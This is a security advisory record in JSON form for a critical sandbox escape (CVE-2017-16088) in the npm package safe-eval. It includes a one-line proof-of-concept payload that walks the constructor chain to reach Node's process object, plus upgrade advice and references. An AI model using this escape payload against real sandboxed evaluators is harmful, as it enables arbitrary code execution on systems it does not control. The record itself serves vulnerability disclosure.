{"id":"GHSA-ww6v-677g-p656","summary":"Sandbox Breakout in safe-eval","details":"Affected versions of `safe-eval` are vulnerable to a sandbox escape. By accessing object constructors, un-sanitized user input can access the entire standard library and effectively break out of the sandbox. \n\n## Proof of Concept:\nThis code accesses the process object and calls `.exit()`\n```js\nvar safeEval = require('safe-eval');\nsafeEval(\"this.constructor.constructor('return process')().exit()\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.4.0 or later","aliases":["CVE-2017-16088"],"modified":"2023-11-08T03:59:04.122594Z","published":"2018-07-18T18:28:10Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2020-06-16T22:01:17Z","nvd_published_at":null,"cwe_ids":["CWE-610"],"severity":"CRITICAL"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16088"},{"type":"WEB","url":"https://github.com/hacksparrow/safe-eval/issues/5"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/issues/59"},{"type":"WEB","url":"https://github.com/hacksparrow/safe-eval/pull/13"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-ww6v-677g-p656"},{"type":"WEB","url":"https://www.npmjs.com/advisories/337"}],"affected":[{"package":{"name":"safe-eval","ecosystem":"npm","purl":"pkg:npm/safe-eval"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.3.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-ww6v-677g-p656/GHSA-ww6v-677g-p656.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}